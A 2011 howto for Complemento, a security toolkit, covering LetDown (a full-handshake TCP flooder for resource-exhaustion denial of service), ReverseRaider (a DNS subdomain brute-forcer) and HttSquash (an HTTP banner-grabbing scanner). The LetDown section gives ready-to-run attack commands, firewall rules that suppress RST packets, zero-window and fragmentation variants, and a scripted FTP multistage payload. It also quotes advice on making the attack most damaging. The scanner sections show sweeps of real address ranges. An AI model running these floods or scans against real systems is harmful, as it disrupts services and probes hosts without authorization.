Acri Emanuele - 2011

Complemento is a collection of tools I originally grokked up for my personal toolchain, to solve some network problems or just for fun. I have released it to the public a couple of years ago, but the tools continue to be developed and refined.
The programs are security oriented; in this howto we'll see their features and how to use them (with a bit of black magic).

Just a screenshot of my BackTrack 5 desktop, during a LetDown session:

A LetDown session...


LetDown is a "full" tcp flooder. It's not a simple syn flooder: it's able to interrupt the communication at any stage of the TCP protocol.
That means you can manage a complete connection (with a standard fin/fin-ack ending) or stop the connection early, leaving the target's network stack in various possible states.

It uses an experimental userland TCP/IP stack, and supports fragmentation of packets and variable tcp window.

From version 0.7 it also supports multistage payloads for complex protocols such as FTP or SMTP (some examples are included in the "payloads" directory). The engine for these script is Python, so that you can use the versatility of this scripting language to write intelligent payloads, which can modify their behavior according to the responses of targets.

The tool has been programmed after the reading of Fyodor's article "TCP Resource Exhaustion and Botched Disclosure".
Before using the tool I strongly encourage you to read it (at This is a short extract:

"The basic idea is to first firewall your source address to prevent your own OS from interfering with your attack. Next you create hundreds or thousands of connections to the TCP port you are targeting as follows:
Once you have those thousands of open connections, you can get even nastier by sending malicious data payloads customized for the service you're attacking. For example, you can request a large file from web servers using each of your open connections. The server will then load the first part of that file into the OS TCP stack for sending, using precious kernel memory buffers.

Other options for nastyness include IP fragmentation and TCP segmentation. For example, you can waste memory by sending many large packets with each having one fragment missing, or you can leave a gap in the TCP streams by sending data at the end of the current window with nothing in between. The target OS may buffer that data until you decide to send the intervening packets.

You can easily tweak this attack to target different resources (such as requesting a dynamic page which requires significant CPU time to compute). These are just modifications of the fundamental attack, which is to use raw TCP packets to make a massive number of connections and (optionally) send malicious application-specific payloads for each connection, while tweaking details such as your packet timing and window sizes to have the most damaging affect. "

Let's start with the usage screen of LetDown:
LetDown 3wh+payload flooder v0.7.7 - Acri Emanuele (
  letdown -d dst_ip -p dst_port -D dst_mac  [options]
  -d	destination ip address, target
  -D	destination mac address or router mac address
  -p	destination port
  -s	source ip address
  -S	source mac address
  -x	first source port (default 1025)
  -y	last source port (default 65534)
  -l	enables infinite loop mode
  -i	network interface
  -t	sleep time in microseconds (default 10000)
  -a	max time in second for waiting responses (default 40)
Extra options:
  -v	verbosity level (0=quiet, 1=normal, 2=verbose)
  -f	automagically set firewall rules for blocking
    	rst packet generated by the kernel
    	examples: -f iptables, -f blackhole (for freebsd)
  -L	special interaction levels with the target
    	s  syn flooding, no 3-way-handshake
    	a  send acknowledgment packets (polite mode)
    	f  send finalize packets (include polite mode)
    	r  send reset packets (check firewall rules...)
  -W	window size for ack packets (ex: 0-window attack)
  -O	enable ack fragmentation and set fragment offset delta
  -C	fragment counter if fragmentation is enabled (default 1)
  -P	payload file (see payloads directory...)
  -M	multistage payload file (see payloads directory...)
Required options are the destination address, the destination mac address (or the router mac address if the target is not local) and the target port.

The other main options include the source ip address, the first and last source port to use in the scanning loop (you can also enable infinite loop mode that rewinds the port) and the network interface used to sniff and inject packets.
You can also set the sleep time between injections of packets, the maximum time for waiting responses and the verbosity level (the default level show only some general statistics about the session).

The extra options are more interesting:
-f configure automagically the firewall for not resetting the connections made by the program, via iptables rules or sysctl on FreeBSD.
-L modify the interaction with the target. You can use the following modalities:
s just a syn flood, no 3-way-handshake.
a like the "polite mode" of Fyodor NDos, but acks data received without closing the connection.
f close the connection with fin (finalize) packets, the conventional way.
r close the connection with a reset packet, the brute way.
-W is the tcp window size of acknowledge packets. It can be setted to 0 (zero) for 0-window DoS attacks.
-O enable acknowledge packets fragmentation and the value is used as fragment offset delta.
-C fragment couter, increment the fragment offset as specified by -O option.
-P simple payload file to sent to the target host after the 3-way handshake.
-M multistage payload file.

Let's see some simple uses of the tool...
Note: the kernel will reset the connections if you don't set your firewall properly. For iptables you can use:

#  iptables -A OUTPUT -p tcp --tcp-flags ALL RST -j DROP

or if you use FreeBSD:

# sysctl net.inet.tcp.blackhole=2


A generic 3-way handshake flooding against a service (in this case FTP):

# letdown -d -s -p 21

This command will start the attack but the connections will be probably resetted by the firewall...

An attack against a webserver using payload and firewall options:

# letdown -d -s -p 80 -f iptables -P payloads/http.txt

This is an improvement respect to the previous attack. It targets a web server using a standard HTTP request payload:
GET / HTTP/1.1
host: localhost
user-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
connection: keep-alive
An attack that use only 3 source ports (120-123) and using the time option:

# letdown -d -s -p 80 -x 120 -y 123 -t 10000

Just a strange example to show you some options...

Advanced examples

Now that you understand (at least a bit) the basic usage of the tool let's see some more advanced features...

Let's start with an attack that uses a TCP window of size 0, called, of course 0-window. Using this technique we can reduce the traffic generated by the target, allowing a more effective attack that does not degrade the network.

For more informations about 0-window attack and TCP protocol you can read:

The attack:

# letdown -d -p 80 -x 1026 -y 1026 -P payloads/http.txt -W 0 -L a -f iptables

Screenshot of the session:

0window screenshot

More advanced uses can involve the fragmentation of packets. In this case I use an offset delta of 1024:

# letdown -d -p 80 -x 1025 -y 1025 -P payloads/http.txt -O 1024 -C 5



And for more complex protocols that require stateful connections?
Here comes into play the new feature of LetDown 0.7, the scripting engine embedded into the program. Let's see the magic...

Scripting engine

Letdown has an embedded python scripting engine, that supports complex payloads for complex protocols.
You can use the power of python language to write payloads which react differently, according to the responses they receive from the target.
You can also handle protocols such as FTP or SMTP, which require a greater level of interaction and multiple commands in a single connection (unlike the "shoot-and-run" HTTP).

Writing a multistage payload is really simple. This is an example included in LetDown, to handle FTP protocol:

# Example of FTP multistage payload
# Copyright (C) 2009 Acri Emanuele <>
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <>.

# Callback function
def callback(count, h_flags, h_payload):

global stage
global flags
global window
global wait
global payload

# Ack FTP server banner...
if count == 0:
flags = ack
window = 2048

# First command
if count == 1:
flags = ack | push
window = 2048
action = act_wait
payload = "USER root\r\n"

# Ack...
if count == 2:
flags = ack
window = 2048

# Second command
if count == 3:
flags = ack | push
window = 2048
action = act_wait
payload = "PASS foo\r\n"

# Ack...
if count == 4:
flags = ack
window = 2048

# Request help
if count == 5:
flags = ack | push
window = 2048
action = act_wait
payload = "help\r\n"

# Ack received help
if count == 6:
flags = ack
window = 2048

# Quit the connection
if count == 7:
flags = ack | push
window = 2048
action = act_wait
payload = "quit\r\n"

# Ack and close the connection...
if count > 7:
flags = ack
window = 2048
wait = act_end

As you can see, the script is composed of a single function "callback", that receives some arguments related to the connection and sets some pre-defined global variables.

The arguments received by the function are a counter (the number of times the function has been called during the current connection), the TCP flags and the payload of the last received packet.

The function must set some global variables to return a result to LetDown. The default values of these are:

# Costants
act_null = 0
# default action. does nothing...
act_wait = 1 # wait a new packet from the target
act_end = 2 # end this session (polite mode)
act_exit = 3 # end this session (brute mode)

# TCP flags

fin = 0x01
syn = 0x02
rst = 0x04
push = 0x08
ack = 0x10
urg = 0x20

# Global variables
flags = ack
# TCP flags of the packet to send
window = 2048 # TCP window of the packet to send
action = act_null
# action (see Costants)
payload = \"\" # payload of the packet to send

The constants and the TCP flags are setted by LetDown, and you can use them to read and compare the values of the arguments or to set the global variables.

Some importants notes:

1) For the last packet sent by the script I've used "if count > 7":
    # Ack and close the connection...
if count > 7:
flags = ack
window = 2048
wait = act_end
This is a protection against scripting/connection errors, which can lead to an endless loop.
If you rely on the counter to track the connection you should use this precaution...

2) For now, only the packets with flags SYN-ACK, ACK or PSH-ACK are passed to the script.

Other ideas for a multistage payload may involve, for example, a mechanism based on regular expression that modify packets according to the responses of the target.

Now, let's see this script in action:

# letdown -d -p 21 -x 1331 -y 1331 -M payloads/ -L f


multiftp screeshot

This stream looks like a normal connection, but it 's all done in userspace by the TCP stack of LetDown. Cool, isn't it?

Well, I think LetDown has no more secrets for you ...

I'll give you only a last recommendation: especially in case of multistage payloads, you should test the script on you local network before starting the pentetration test, to not have unpleasant surprises.


ReverseRaider is a domain scanner that uses brute force wordlist scanning to find a target subdomain or reverse resolution of IP ranges. It supports permutation on wordlist, IPv6 and also some DNS options.

Let's see the usage screen of ReverseRaider:

ReverseRaider domain scanner v0.7.7 - Acri Emanuele (
  reverseraider -d domain | -r range [options]
  -r	range of ipv4 or ipv6 addresses, for reverse scanning
    	examples: or 2001:0DB8::1428:57ab-6344
  -f	file containing lists of ip addresses, for reverse scanning
  -d	domain, for wordlist scanning (example
  -w	wordlist file (see wordlists directory...)
Extra options:
  -t	requests timeout in seconds
  -P	enable numeric permutation on wordlist (default off)
  -D	nameserver to use (default: resolv.conf)
  -T	use TCP queries instead of UDP queries
  -R	don't set the recursion bit on queries

The main options are, of course, the scanning mode (wordlist or reverse resolution) and the path of the wordlist.

The extra options permit to set the maximum time for waiting responses, to activate permutations on wordlists, to choose the DNS server to use and to set type and (no-)recursion of queries.

Let's see some examples of use:

Reverse scanning of an ip range (in our examples the owner of the hosts scanned is Google...):

$ reverseraider -r


We can do the same with a range of IPv6 (if your nameserver supports reverse dns query for IPv6):

$ reverseraider -r 2001:4860:0:1001::68-69

Output:                2001:4860:0:1001::68

Wordlist scanning of a domain:

$ reverseraider -d -w wordlists/fast.list


I only showed the basic usage of the tool. Now it's your turn to experiment with the various options, such as DSN no-recursion...


Httsquash is an http server scanner, banner grabber and data retriever. It can be used to scann large ranges of IP addresses to find networked devices and http servers. It supports IPv6, personalized requests and a basic fingerprint engine.

Let's see the usage screen of HttSquash:

HTTSquash scanner v0.7.7 - Acri Emanuele (
  httsquash -r range [options]
  -r	range of ip addresses or target dns name
    	examples:, 2001::1428:57ab-6344,
  -p	port (default 80)
Extra options:
  -t	time in seconds (default 3)
  -m	max scan processes (default 10)
  -b	print body of response (html data)
  -S	use HTTPS instead of HTTP
  -T	custom request type (default GET)
  -U	custom request URL (default /)
  -H	set an header for the request (can be used multiple times)
    	examples: Keep-Alive:300, User-Agent:httsquash
Script options:
  -j	cookie jar separator ("%%")

The required options are the range of ip to scan and the port of the server.
It's also possible to set the maximum time to wait responses, the max number of threads, a "full" mode and/or a cookie-jar separator between the results.
Other options include various HTTP requests and enabling the fingerprinting.

Let's see some examples of use...

Http header grabbing of a server (using IPv6... for IPv4 is the same):

$ httsquash -r 2001:4860:0:1001::68


FOUND: 2001:4860:0:1001::68 80
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Date: Sun, 28 Dec 2008 13:25:41 GMT
Expires: -1
Content-Type: text/html; charset=UTF-8
Server: gws
Transfer-Encoding: chunked

Full mode:

$ httsquash -r 2001:4860:0:1001::68 -v


FOUND: 2001:4860:0:1001::68 80
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Date: Sun, 28 Dec 2008 13:27:55 GMT
Expires: -1
Content-Type: text/html; charset=UTF-8
Server: gws
Transfer-Encoding: chunked

<html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>Google</title>

Setting an ip range it's possible to scan a subnet to find http servers, including networked devices that have an http control panel.
In this example the request type option is active:

$ httsquash -r -T head


HTTP/1.1 301 Moved Permanently
Date: Wed, 15 Apr 2009 10:52:31 GMT
Server: Apache/2.0.52 (Red Hat)
Content-Type: text/html; charset=iso-8859-1

HTTP/1.1 404 Not Found
Date: Thu, 01 Jan 1970 00:00:00 GMT
Server: WebLogic Server 7.0 SP4 Tue Aug 12 11:22:26 PDT 2003 284033
Content-Length: 1278
Content-Type: text/html
Connection: Close

HTTP/1.1 200 OK
Date: Wed, 15 Apr 2009 10:52:31 GMT
Server: WebLogic Server 7.0 SP4 Tue Aug 12 11:22:26 PDT 2003 284033 with CR190507 CR196738 CR176240
Content-Type: text/html
Set-Cookie: JSESSIONID_PC=Jl8vRNeQvLsL3USYCguROszKlxeRZJTRIPKhS2G8vC1iBb4AoVG0!-4352615!183762790!8081!-1!-1833311414!183762789!8081!-1;; path=/
Transfer-Encoding: Chunked

HTTP/1.1 200 OK
Date: Wed, 15 Apr 2009 10:52:30 GMT
Server: WebLogic Server 7.0 SP4 Tue Aug 12 11:22:26 PDT 2003 284033 with CR190507 CR196738
Content-Type: text/html
Set-Cookie: JSESSIONID_NS=Jl8u2fspBdHJZ6SrPnBOt5ka3iOZDcJAHSnlXDRLN1aBcNiGs1yC!-1484958317!183762809!8080!-1;; path=/

You can also use the -j (jar-cookie separator) option to simplify the parsing of the output, especially if you combine it with the -b option (print the full body of responses).


This quick and dirt howto is finished...
I encourage you to experiment the tools and test you systems, but above all have fun!